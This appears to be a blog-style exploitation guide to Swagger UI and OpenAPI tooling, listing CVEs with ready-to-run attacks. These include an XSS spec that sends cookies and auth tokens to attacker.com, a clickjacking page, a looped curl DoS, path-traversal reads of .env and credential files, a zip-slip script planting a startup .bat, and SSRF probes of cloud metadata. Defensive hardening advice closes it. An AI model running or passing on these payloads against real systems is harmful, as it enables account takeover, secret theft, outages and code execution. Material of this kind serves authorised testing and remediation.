Swagger API & OpenAPI Security — Complete CVE Reference, Misconfigurations, PoC & Exploitation Guide
Swagger & OpenAPI Security
The Complete Attack Reference
Every CVE, misconfiguration, exploitation technique, PoC payload, Burp Suite example, and defensive countermeasure — covering 2020 through 2025.
📋 Table of Contents
- Introduction — Why Swagger Is a High-Value Target
- Reconnaissance — Discovering Exposed Swagger Instances
- Master CVE Reference Table (2020–2025)
- CVE Deep-Dive: DOM XSS via DOMPurify Bypass (≥3.14.1 <3.38.0)
- CVE-2018-25031 — UI Spoofing & Clickjacking
- CVE-2021-46708 — Clickjacking in swagger-ui-dist
- CVE-2022-24863 — DoS via Memory Exhaustion (http-swagger)
- CVE-2023-38337 — Path Traversal in rswag
- CVE-2024-22207 — File Disclosure in fastify-swagger-ui
- CVE-2024-7565 — RCE in SoapUI (SmartBear)
- SSRF via ?url= Parameter
- Critical Misconfigurations
- Burp Suite Attack Walkthroughs
- OWASP API Top 10 Mapped to Swagger
- Tools & Automation
- Defensive Hardening Checklist
- References & Exploit Links
1. Introduction — Why Swagger Is a High-Value Target
Swagger UI (now part of the OpenAPI ecosystem) is the world's most widely deployed API documentation and testing interface. It renders interactive HTML pages from OpenAPI/Swagger specification files (JSON or YAML), letting developers explore and test every endpoint of an API directly from the browser. While invaluable for development, a misconfigured or outdated Swagger instance can hand an attacker a complete blueprint of the entire attack surface — and in many cases, a direct exploitation vector.
The core risk factors are:
- Swagger UI left enabled in production environments with no authentication
- Outdated Swagger UI versions containing known XSS, SSRF, and spoofing vulnerabilities
- The
swagger.json/openapi.yamlfile exposing internal endpoints, credentials, and tokens - The
?url=and?configUrl=query parameters enabling phishing, SSRF, and XSS chains - Swagger-adjacent tools (SoapUI, swagger-codegen, rswag, http-swagger) carrying their own CVEs
2. Reconnaissance — Discovering Exposed Swagger Instances
2.1 Common Swagger UI Paths
# Most common Swagger UI paths to probe
/swagger-ui.html
/swagger-ui/index.html
/swagger/index.html
/swagger/v1/swagger.json
/swagger/v2/swagger.json
/swagger/v3/swagger.json
/api-docs
/api-docs/swagger.json
/v1/api-docs
/v2/api-docs
/v3/api-docs
/openapi.json
/openapi.yaml
/api/swagger.json
/api/swagger.yaml
/docs
/docs/swagger.json
/swagger-resources
/swagger-resources/configuration/ui
/swagger-resources/configuration/security
/webjars/springfox-swagger-ui/swagger-ui.html
/classicapi/doc/
2.2 Google Dorks
# Find Swagger UI instances on a target domain
intext:"Swagger UI" intitle:"Swagger UI" site:target.com
inurl:"/swagger-ui/index.html"
intitle:"Swagger UI" (inurl:"/swagger-ui/" OR inurl:"/swagger/" OR inurl:"/api-docs/")
site:nasa.gov inurl:(swagger-ui OR swagger.json OR swagger.yaml)
site:*.swagger.io -www
# Find raw spec files
site:target.com (inurl:api OR inurl:v1 OR inurl:v2) (filetype:json OR filetype:yaml)
# GitHub dorks — find vulnerable versions in package.json
"/swagger-ui-dist\": \"3.[1-3]/" path:*/package.json
2.3 Shodan Queries
http.component:"Swagger"
http.title:"Swagger UI"
http.html:"swagger-ui"
http.favicon.hash:"-1128940573"
http.title:"Swagger UI" +200
http.component:"Swagger" http.title:"Swagger UI"
2.4 Automated Discovery with Subfinder + httpx
# Enumerate subdomains, probe for Swagger UI
subfinder -d target.com -all | httpx-toolkit -silent -title | grep "Swagger UI"
# Scan a list of domains for Swagger paths
cat domains.txt | httpx -path /docs,/swagger,/api-docs,/swagger-ui,/swagger-ui.html -mc 200
# Extract all API paths from a swagger.json and fuzz them
cat swagger.json | jq -r '.paths | keys[]' | ffuf -u https://target.com/FUZZ -mc 200,401,403
2.5 Analysing the swagger.json for Hidden Endpoints
# Example of a dangerous swagger.json exposing sensitive paths
{
"paths": {
"/admin/debug": {
"get": { "description": "Access debug info — NO AUTH REQUIRED" }
},
"/internal/config": {
"post": { "description": "Post internal configurations" }
},
"/v2/users/{userId}/reset-password": {
"post": { "description": "Admin password reset" }
}
}
}
# Python script to extract and test all paths
import requests, json
spec = requests.get("https://target.com/swagger.json").json()
base = spec.get("host", "target.com")
for path in spec["paths"]:
url = f"https://{base}{path}"
r = requests.get(url, verify=False)
if r.status_code != 404:
print(f"[{r.status_code}] {url}")
3. Master CVE Reference Table (2020–2025)
| CVE ID | Product | Type | CVSS | Affected Versions | Published | NVD Link |
|---|---|---|---|---|---|---|
| CVE-2020-26870 | DOMPurify (used by Swagger UI) | XSS / mXSS | 6.1 | DOMPurify < 2.2.3 (Swagger UI 3.14.1–3.38.0) | 2020-10 | NVD ↗ |
| CVE-2021-46708 | swagger-ui-dist (npm) | Clickjacking | 6.1 | < 4.1.3 | 2022-03 | NVD ↗ |
| CVE-2021-21363 | swagger-codegen (Maven) | Insecure Temp File | 5.5 | < 3.0.25 | 2021-03 | NVD ↗ |
| CVE-2018-25031 | Swagger UI | Spoofing / UI Misrep. | 4.3 | < 4.1.3 | 2022-03 | NVD ↗ |
| CVE-2022-24863 | http-swagger (Go) | DoS / Memory Exhaust | 7.5 | < 1.2.6 | 2022-04 | NVD ↗ |
| CVE-2023-38337 | rswag (Ruby) | Path Traversal | 7.5 | < 2.10.1 | 2023-07 | NVD ↗ |
| CVE-2024-22207 | fastify-swagger-ui (Node.js) | File Disclosure | 5.3 | < 2.1.0 | 2024-01 | NVD ↗ |
| CVE-2024-7565 | SmartBear SoapUI | RCE / Path Traversal | 7.8 | All versions before patch | 2024-11 | NVD ↗ |
| CVE-2024-13700 | Embed Swagger UI (WordPress) | Stored XSS | 6.4 | All versions | 2024 | NVD ↗ |
| CVE-2025-7901 | Swagger UI (configUrl) | XSS via configUrl | Problematic | Multiple | 2025-07 | NVD ↗ |
| CVE-2025-8191 | Swagger UI (configUrl) | XSS via configUrl | Medium | Multiple | 2025-07 | CVE.org ↗ |
| GHSA-qrmm-w75w-3wpx | swagger-ui / Swashbuckle | SSRF / Phishing | Moderate | swagger-ui <4.1.3 / Swashbuckle <6.3.0 | 2021-12 | GitHub ↗ |
| CVE-2016-1000229 | swagger-ui (legacy) | XSS in key names | 6.1 | < 2.2.1 | 2016 | NVD ↗ |
| CVE-2016-5641 | swagger-codegen (Rapid7) | RCE via Param Injection | 9.8 | Multiple generators | 2016 | NVD ↗ |
4. DOM XSS via DOMPurify Bypass (Swagger UI ≥3.14.1 <3.38.0)
This is arguably the most impactful Swagger UI vulnerability class, enabling DOM-based XSS in
versions 3.14.1 through 3.38.0 by chaining the ?url= / ?configUrl=
query parameters with a DOMPurify bypass. It was exploited at PayPal, Atlassian, Microsoft, GitLab,
Yahoo, and 60+ other organisations.
dangerouslySetInnerHTML React call enables arbitrary
script execution.4.1 Vulnerability Flow
info.description field (parsed as Markdown).https://victim.com/swagger-ui/?url=https://attacker.com/evil.yamldangerouslySetInnerHTML.4.2 The DOMPurify Bypass Payload
# evil.yaml — host on attacker-controlled server
swagger: '2.0'
info:
title: Malicious Spec
description: |
<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext>
<textarea><a title="</textarea><img src='#' onerror='alert(window.origin)'>">
paths:
/accounts:
get:
responses:
'200':
description: OK
4.3 Quick-Test URLs
# Test 1 — configUrl parameter
https://TARGET/swagger-ui/?configUrl=https://jumpy-floor.surge.sh/test.json
# Test 2 — url parameter
https://TARGET/swagger-ui/?url=https://jumpy-floor.surge.sh/test.yaml
# Test 3 — data: URI base64 encoded config (Jamf Pro / classic APIs)
https://TARGET/classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9zdGFuZGluZy1zYWx0LnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==
# Test 4 — Extract auth token from localStorage (if XSS fires)
https://TARGET/swagger-ui/?configUrl=https://attacker.com/xsscookie.json
4.4 Cookie / Token Exfiltration Payload
# xsscookie.yaml — exfiltrate auth tokens from localStorage
swagger: '2.0'
info:
title: Token Stealer
description: |
<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext>
<textarea><a title="</textarea><img src='#' onerror='
fetch(`https://attacker.com/steal?c=`+btoa(document.cookie+localStorage.getItem(`authToken`)))
'>">
paths: {}
# Jamf Pro specific — extracts authToken
# alert(localStorage.getItem('authToken'))
5. CVE-2018-25031 — UI Spoofing & Misrepresentation
NVD ↗ PoC on GitHub ↗
5.1 Exploit Script (Python + Selenium)
# Source: Exploit-DB EDB-51379 by Rafael Cintra Lopes
# Usage: python swagger-exploit.py https://target.com/swagger-ui/
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import time, json, sys
target = sys.argv[1]
options = webdriver.ChromeOptions()
options.add_argument("--headless")
options.add_argument("--ignore-certificate-errors")
driver = webdriver.Chrome(options=options)
driver.get(target + "?configUrl=https://petstore.swagger.io/v2/hacked1.json")
time.sleep(10)
driver.get(target + "?url=https://petstore.swagger.io/v2/hacked2.json")
time.sleep(10)
logs = driver.get_log("performance")
for log in logs:
msg = json.loads(log["message"])["message"]
if "Network.response" in msg.get("method", ""):
url = msg.get("params", {}).get("response", {}).get("url", "")
if "hacked1.json" in url:
print(f"[VULNERABLE] configUrl parameter: {target}?configUrl=...")
if "hacked2.json" in url:
print(f"[VULNERABLE] url parameter: {target}?url=...")
driver.quit()
https://trusted-company.com/api-docs?url=https://evil.com/fake-api.yaml.
The victim sees the trusted domain in the address bar but interacts with the attacker's
fake API documentation, potentially submitting credentials to the attacker's server via
the "Try it out" feature.6. CVE-2021-46708 — Clickjacking in swagger-ui-dist
NVD ↗
6.1 Clickjacking PoC
<!-- Attacker page: overlays transparent Swagger UI iframe over a fake button -->
<!DOCTYPE html>
<html>
<head>
<title>Win a Prize!</title>
<style>
#overlay { position:relative; width:900px; height:600px; }
#decoy { position:absolute; top:200px; left:350px;
background:#28a745; color:#fff; padding:12px 24px;
font-size:18px; border-radius:6px; z-index:1; }
#frame { position:absolute; top:0; left:0; width:100%; height:100%;
opacity:0.01; z-index:2; border:none; }
</style>
</head>
<body>
<div id="overlay">
<button id="decoy">Click to Claim Your Prize!</button>
<iframe id="frame"
src="https://victim.com/swagger-ui/?url=https://attacker.com/evil.yaml">
</iframe>
</div>
</body>
</html>
X-Frame-Options: DENY and Content-Security-Policy: frame-ancestors 'none'
response headers to prevent framing.7. CVE-2022-24863 — DoS via Memory Exhaustion (http-swagger)
NVD ↗ GitHub Advisory ↗
7.1 DoS PoC (curl)
# Trigger memory exhaustion by sending non-GET requests to the swagger path
# Replace TARGET with the vulnerable Go application endpoint
# Single POST request to swagger handler
curl -X POST https://TARGET/swagger/index.html \
-H "Content-Type: application/json" \
-d '{"test":"payload"}'
# Amplified attack — send many concurrent requests
for i in $(seq 1 1000); do
curl -s -X POST https://TARGET/swagger/index.html \
-H "Content-Type: application/json" \
-d '{"large":"'$(python3 -c "print('A'*10000)")'"}' &
done
wait
echo "[*] DoS requests sent — monitor target memory usage"
8. CVE-2023-38337 — Path Traversal in rswag (Ruby)
NVD ↗ GitHub Issue ↗
8.1 Path Traversal PoC
# Read arbitrary YAML/JSON files via path traversal in rswag-api
# The middleware serves any .yml, .yaml, .json file relative to the app root
# Read database configuration
curl https://TARGET/api-docs/../../../config/database.yml
# Read Rails credentials (if accessible)
curl https://TARGET/api-docs/../../../config/credentials.yml.enc
# Read environment file
curl https://TARGET/api-docs/../../../.env
# URL-encoded traversal variant
curl "https://TARGET/api-docs/%2E%2E%2F%2E%2E%2F%2E%2E%2Fconfig%2Fdatabase.yml"
# Automated traversal with ffuf
ffuf -u "https://TARGET/api-docs/FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200 -fs 0
9. CVE-2024-22207 — File Disclosure in fastify-swagger-ui
baseDir set leads to all files in the module's directory being exposed via HTTP routes. This can expose source code, configuration files, and other sensitive assets.NVD ↗ GitHub Advisory ↗
9.1 Exploitation PoC
# Enumerate files exposed by fastify-swagger-ui without baseDir
# The module serves its entire directory under the swagger route
# Check for package.json exposure
curl https://TARGET/documentation/package.json
# Check for node_modules exposure
curl https://TARGET/documentation/node_modules/fastify-swagger-ui/package.json
# Automated enumeration
ffuf -u https://TARGET/documentation/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200
# Fix: Set baseDir option in fastify-swagger-ui configuration
# await fastify.register(require('@fastify/swagger-ui'), {
# routePrefix: '/documentation',
# baseDir: '/path/to/swagger/assets' // <-- required fix
# })
10. CVE-2024-7565 — Remote Code Execution in SmartBear SoapUI
unpackageAll function in SoapUI lacks proper validation of user-supplied paths prior to file operations. An attacker can leverage a malicious project file to write arbitrary files outside the intended directory, leading to remote code execution in the context of the current user.NVD ↗ ZDI Advisory ↗
10.1 Attack Vector
<!-- Malicious SoapUI project file with path traversal in archive entry -->
<!-- When victim opens this project, unpackageAll() writes to arbitrary path -->
# Conceptual attack flow:
# 1. Attacker creates a ZIP-based SoapUI project
# 2. Archive contains entry: ../../../../startup.sh (or .bat on Windows)
# 3. Victim opens project in SoapUI
# 4. unpackageAll() extracts without sanitising the path
# 5. Malicious script written to startup directory → executes on next boot
# Python PoC — create malicious ZIP
import zipfile, os
with zipfile.ZipFile('malicious_project.zip', 'w') as z:
# Traversal path in ZIP entry name
z.writestr(
'../../../../AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/evil.bat',
'@echo off\ncalc.exe\n' # Replace with actual payload
)
print("[*] Malicious SoapUI project created: malicious_project.zip")
11. SSRF via the ?url= Parameter (GHSA-qrmm-w75w-3wpx)
Swagger UI's ?url= and ?configUrl= parameters allow loading remote OpenAPI
definitions. In versions prior to 4.1.3, these parameters were enabled by default, creating a
Server-Side Request Forgery (SSRF) and phishing vector. The server-side risk is moderate (the fetch
is client-side), but the phishing / UI redress risk is significant.
11.1 SSRF / Phishing Attack Flow
11.2 SSRF to Internal Network Probing
# If the swagger ?url= parameter triggers a server-side fetch,
# probe internal services (applicable to server-side Swagger implementations)
# Probe internal metadata service (AWS)
curl "https://target.com/api-docs?url=http://169.254.169.254/latest/meta-data/"
# Probe internal services
curl "https://target.com/api-docs?url=http://localhost:8080/admin"
curl "https://target.com/api-docs?url=http://10.0.0.1:9200/_cat/indices" # Elasticsearch
curl "https://target.com/api-docs?url=http://10.0.0.1:6379/" # Redis
# Burp Collaborator-based SSRF detection
curl "https://target.com/api-docs?url=http://BURP-COLLABORATOR-ID.burpcollaborator.net/test"
12. Critical Misconfigurations
12.1 Swagger UI Exposed in Production Without Authentication
# Check if Swagger UI is accessible without authentication
curl -s -o /dev/null -w "%{http_code}" https://target.com/swagger-ui/index.html
curl -s -o /dev/null -w "%{http_code}" https://target.com/api-docs
curl -s -o /dev/null -w "%{http_code}" https://target.com/swagger.json
# If response is 200 without auth headers — VULNERABLE
# Check for sensitive data in the spec file
curl -s https://target.com/swagger.json | jq '.' | grep -iE "password|secret|key|token|credential"
12.2 Hardcoded Credentials in swagger.json
// DANGEROUS: swagger.json exposing credentials in examples
{
"paths": {
"/auth/login": {
"post": {
"parameters": [{
"in": "body",
"schema": {
"example": {
"username": "admin",
"password": "P@ssw0rd123!" // HARDCODED CREDENTIAL EXPOSED
}
}
}]
}
}
},
"securityDefinitions": {
"ApiKeyAuth": {
"type": "apiKey",
"x-default": "sk-prod-1234567890abcdef" // HARDCODED API KEY
}
}
}
12.3 Unauthenticated Admin Endpoints Documented in Swagger
12.4 CORS Misconfiguration on Swagger-Documented APIs
# Test for overly permissive CORS on API endpoints found via Swagger
curl -s -I -X OPTIONS https://target.com/api/v1/users \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: GET"
# Dangerous response — wildcard CORS
# Access-Control-Allow-Origin: *
# Access-Control-Allow-Credentials: true ← CRITICAL if combined
# Exploit: steal authenticated API responses from victim's browser
# (requires XSS or user visiting attacker page)
12.5 Deprecated / Debug Endpoints Left in Swagger Spec
# Extract all paths and look for dangerous keywords
curl -s https://target.com/swagger.json | \
jq -r '.paths | keys[]' | \
grep -iE "debug|admin|internal|test|dev|backup|old|v0|legacy|temp|dump|export"
# Check for deprecated flag in spec
curl -s https://target.com/swagger.json | \
jq '.paths | to_entries[] | select(.value[].deprecated == true) | .key'
13. Burp Suite Attack Walkthroughs
13.1 Importing Swagger Spec into Burp Suite
curl -o spec.json https://target.com/swagger.json13.2 Burp Suite — Testing for IDOR via Swagger-Documented Endpoints
13.3 Burp Suite — XSS via configUrl Parameter
13.4 Burp Intruder — Brute-Force API Endpoints from Swagger
13.5 Burp Suite — SQL Injection via Swagger-Documented Parameters
13.6 Burp Suite — JWT Token Manipulation on Swagger-Authenticated APIs
14. OWASP API Security Top 10 (2023) Mapped to Swagger
| OWASP ID | Risk | Swagger Attack Vector | Burp Technique |
|---|---|---|---|
| API1:2023 | Broken Object Level Authorization (BOLA/IDOR) | Swagger reveals object ID parameters (userId, orderId). Modify IDs in Repeater. | Repeater / Intruder — ID enumeration |
| API2:2023 | Broken Authentication | Swagger exposes /auth endpoints. Test for weak tokens, JWT alg:none, missing auth on endpoints. | Repeater — remove/modify auth headers |
| API3:2023 | Broken Object Property Level Auth | Swagger shows all object properties. Mass assignment: send extra fields in POST/PUT. | Repeater — add undocumented fields |
| API4:2023 | Unrestricted Resource Consumption | Swagger reveals pagination params. Send maxLimit=99999 or no pagination. | Intruder — large payload fuzzing |
| API5:2023 | Broken Function Level Authorization | Swagger exposes admin endpoints. Access them with a low-privilege token. | Repeater — access admin paths with user token |
| API6:2023 | Unrestricted Access to Sensitive Business Flows | Swagger reveals business logic flows. Replay/skip steps (e.g., checkout without payment). | Repeater — skip workflow steps |
| API7:2023 | Server Side Request Forgery (SSRF) | Swagger ?url= parameter. Also look for URL parameters in API endpoints. | Repeater — Burp Collaborator SSRF detection |
| API8:2023 | Security Misconfiguration | Swagger enabled in production, no auth, verbose errors, CORS wildcard. | Scanner — active scan on Swagger endpoints |
| API9:2023 | Improper Inventory Management | Swagger exposes deprecated/shadow API versions (/v0, /beta, /internal). | Intruder — version enumeration |
| API10:2023 | Unsafe Consumption of APIs | Swagger-documented third-party integrations. Inject malicious data into upstream calls. | Repeater — inject into third-party API params |
15. Tools & Automation
| Tool | Purpose | Command / Usage | Link |
|---|---|---|---|
| Nuclei | Automated Swagger XSS/SSRF scanning | nuclei -t swagger-api.yaml -u https://target.com |
GitHub ↗ |
| ffuf | Swagger path brute-forcing | ffuf -w swagger_paths.txt -u https://target.com/FUZZ |
GitHub ↗ |
| Swagger-EZ | Bulk API request generation for Burp | Load spec → Send All → intercept in Burp | Tool ↗ |
| Burp OpenAPI Parser | Import Swagger spec into Burp Suite | BApp Store → OpenAPI Parser → Load spec | BApp ↗ |
| swurg | Burp extension for OpenAPI testing | Load swagger.json → generates test requests | GitHub ↗ |
| subfinder + httpx | Subdomain enumeration + Swagger discovery | subfinder -d target.com | httpx -title | grep Swagger |
GitHub ↗ |
| dirsearch | Swagger path discovery with wordlist | dirsearch -u https://target.com -w swagger_paths.txt |
GitHub ↗ |
| Postman | Import and test Swagger/OpenAPI specs | Import → OpenAPI → test all endpoints | postman.com ↗ |
| swagger-ui-dist PoC | CVE-2018-25031 checker | python swagger-exploit.py https://target.com/swagger-ui/ |
EDB ↗ |
15.1 Nuclei Templates for Swagger
# nuclei-swagger-xss.yaml
id: swagger-ui-xss-configurl
info:
name: Swagger UI DOM XSS via configUrl
author: security-researcher
severity: medium
description: Swagger UI versions 3.14.1-3.38.0 are vulnerable to DOM XSS via configUrl
tags: swagger,xss,dom-xss,cve
requests:
- method: GET
path:
- "{{BaseURL}}/swagger-ui/?configUrl=https://jumpy-floor.surge.sh/test.json"
- "{{BaseURL}}/api-docs?configUrl=https://jumpy-floor.surge.sh/test.json"
- "{{BaseURL}}/swagger/index.html?configUrl=https://jumpy-floor.surge.sh/test.json"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "swagger-ui"
- "SwaggerUI"
condition: or
- type: word
part: body
words:
- "jumpy-floor.surge.sh"
negative: true
15.2 Python — Mass Swagger Vulnerability Scanner
#!/usr/bin/env python3
# swagger_scanner.py — Automated Swagger security scanner
# Usage: python3 swagger_scanner.py -u https://target.com
import requests, json, sys, argparse
from urllib.parse import urljoin, urlparse
requests.packages.urllib3.disable_warnings()
SWAGGER_PATHS = [
"/swagger-ui/index.html", "/swagger-ui.html", "/swagger/index.html",
"/api-docs", "/swagger.json", "/openapi.json", "/openapi.yaml",
"/v1/api-docs", "/v2/api-docs", "/v3/api-docs",
"/swagger/v1/swagger.json", "/swagger/v2/swagger.json",
"/docs", "/api/swagger.json", "/swagger-resources"
]
XSS_PAYLOADS = [
"?configUrl=https://jumpy-floor.surge.sh/test.json",
"?url=https://jumpy-floor.surge.sh/test.yaml",
]
SENSITIVE_KEYWORDS = ["password", "secret", "apikey", "api_key",
"token", "credential", "private_key", "access_key"]
def scan(base_url):
print(f"\n[*] Scanning: {base_url}\n" + "="*60)
headers = {"User-Agent": "Mozilla/5.0 SwaggerScanner/1.0"}
# 1. Discover Swagger endpoints
found_specs = []
for path in SWAGGER_PATHS:
url = urljoin(base_url, path)
try:
r = requests.get(url, headers=headers, verify=False, timeout=8)
if r.status_code == 200:
print(f"[FOUND] {url} ({r.status_code})")
found_specs.append(url)
except: pass
# 2. Check for XSS via configUrl/url params
for spec_url in found_specs:
if "swagger-ui" in spec_url or "swagger/index" in spec_url:
for payload in XSS_PAYLOADS:
test_url = spec_url + payload
try:
r = requests.get(test_url, headers=headers, verify=False, timeout=8)
if r.status_code == 200:
print(f"[XSS?] configUrl/url param accepted: {test_url}")
except: pass
# 3. Check for sensitive data in spec files
for spec_url in found_specs:
if spec_url.endswith((".json", ".yaml", "api-docs")):
try:
r = requests.get(spec_url, headers=headers, verify=False, timeout=8)
content = r.text.lower()
for kw in SENSITIVE_KEYWORDS:
if kw in content:
print(f"[SENSITIVE] Keyword '{kw}' found in {spec_url}")
except: pass
# 4. Check missing security headers
try:
r = requests.get(base_url, headers=headers, verify=False, timeout=8)
missing = []
for h in ["X-Frame-Options", "Content-Security-Policy",
"X-Content-Type-Options", "Strict-Transport-Security"]:
if h.lower() not in [k.lower() for k in r.headers]:
missing.append(h)
if missing:
print(f"[HEADERS] Missing security headers: {', '.join(missing)}")
except: pass
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True)
args = parser.parse_args()
scan(args.url)
16. Defensive Hardening Checklist
| # | Control | Implementation | Priority |
|---|---|---|---|
| 1 | Disable Swagger in Production | Use environment flags (if (env.isDev) enableSwagger()). Never deploy to prod. |
CRITICAL |
| 2 | Upgrade Swagger UI ≥4.1.3 | Fixes CVE-2018-25031, CVE-2021-46708, DOM XSS, SSRF. Pin version in package.json. | CRITICAL |
| 3 | Disable ?url= and ?configUrl= Params | Set DisableSwaggerDefaultUrl / supportedSubmitMethods: [] in config. |
HIGH |
| 4 | Require Authentication for Swagger UI | Protect with OAuth2, API key, or IP whitelist. Never allow anonymous access. | HIGH |
| 5 | Remove Sensitive Data from Specs | No hardcoded passwords, API keys, or tokens in examples or defaults. | HIGH |
| 6 | Add Security Headers | X-Frame-Options: DENY, CSP: frame-ancestors 'none', X-Content-Type-Options: nosniff |
HIGH |
| 7 | Implement Proper CORS Policy | Never use Access-Control-Allow-Origin: * with credentials. Whitelist specific origins. |
HIGH |
| 8 | Restrict Exposed Endpoints in Spec | Exclude admin, internal, debug, and deprecated endpoints from public swagger.json. | MEDIUM |
| 9 | Upgrade rswag ≥2.10.1 | Fixes CVE-2023-38337 path traversal. Run bundle update rswag. |
HIGH |
| 10 | Upgrade http-swagger ≥1.2.6 | Fixes CVE-2022-24863 DoS. Run go get github.com/swaggo/http-swagger@v1.2.6. |
HIGH |
| 11 | Upgrade fastify-swagger-ui ≥2.1.0 | Fixes CVE-2024-22207. Set baseDir option explicitly. |
MEDIUM |
| 12 | Rate Limit API Endpoints | Prevent brute-force and enumeration attacks discovered via Swagger. | MEDIUM |
| 13 | Implement API Versioning Controls | Decommission old API versions. Do not document deprecated endpoints in public specs. | MEDIUM |
| 14 | Use WAF Rules for Swagger Paths | Block access to /swagger-ui, /api-docs from untrusted IPs at WAF/CDN level. | MEDIUM |
| 15 | Scan with Nuclei / DAST Regularly | Integrate Nuclei Swagger templates into CI/CD pipeline for continuous testing. | MEDIUM |
16.1 Spring Boot — Disable Swagger in Production
// application-production.yml — disable swagger in prod
springdoc:
api-docs:
enabled: false
swagger-ui:
enabled: false
// application-development.yml — enable in dev only
springdoc:
api-docs:
enabled: true
swagger-ui:
enabled: true
disable-swagger-default-url: true # Disable ?url= param
supported-submit-methods: [] # Disable "Try it out"
16.2 Node.js (Express) — Secure Swagger Configuration
const swaggerUi = require('swagger-ui-express');
const swaggerDocument = require('./swagger.json');
// Only enable in non-production environments
if (process.env.NODE_ENV !== 'production') {
const swaggerOptions = {
swaggerOptions: {
// Disable external URL loading
url: null,
configUrl: null,
// Disable "Try it out" in shared environments
supportedSubmitMethods: [],
// Disable deep linking
deepLinking: false
}
};
// Protect with basic auth middleware
app.use('/api-docs', basicAuth({ users: { admin: process.env.SWAGGER_PASS } }));
app.use('/api-docs', swaggerUi.serve, swaggerUi.setup(swaggerDocument, swaggerOptions));
}
17. References, CVE Links & Exploit Resources
Official CVE / NVD References
- 🔗 CVE-2020-26870 — DOMPurify mXSS (NVD)
- 🔗 CVE-2021-46708 — swagger-ui-dist Clickjacking (NVD)
- 🔗 CVE-2018-25031 — Swagger UI Spoofing (NVD)
- 🔗 CVE-2022-24863 — http-swagger DoS (NVD)
- 🔗 CVE-2023-38337 — rswag Path Traversal (NVD)
- 🔗 CVE-2024-22207 — fastify-swagger-ui File Disclosure (NVD)
- 🔗 CVE-2024-7565 — SoapUI RCE (NVD)
- 🔗 CVE-2025-7901 — Swagger UI configUrl XSS (NVD)
Exploit-DB & PoC References
Research & Write-ups
- 🔗 Vidoc Security — Hacking Swagger UI: From XSS to Account Takeovers
- 🔗 Rhino Security Labs — Simplifying API Pentesting with Swagger Files
- 🔗 InfoSec Write-ups — The Dark Side of Swagger UI
- 🔗 Invicti — Swagger UI DOM XSS Vulnerability
- 🔗 Rapid7 — RCE via Swagger Parameter Injection (CVE-2016-5641)
- 🔗 OWASP API Security Top 10 — 2023
- 🔗 PortSwigger — Path Traversal
- 🔗 CloudSEK — Exposed APIs, Leaked Tokens: Real-World Case Study
Tools & Resources
- 🔗 Nuclei Templates — ProjectDiscovery
- 🔗 Burp Suite — OpenAPI Parser Extension
- 🔗 Swagger-EZ — Rhino Security Labs
- 🔗 PayloadsAllTheThings — API Pentest
- 🔗 OWASP crAPI — Vulnerable API Practice Lab
⚠️ Legal Disclaimer
This document is provided for educational and authorised security testing purposes only. All techniques, PoC code, and exploit references are intended to help security professionals identify and remediate vulnerabilities in systems they own or have explicit written permission to test. Unauthorised use against systems you do not own is illegal and unethical. Always obtain proper authorisation before conducting any security testing.
Last Updated: March 2026 | CVE data sourced from NVD NIST, GitHub Security Advisories, and Exploit-DB
Comments
Post a Comment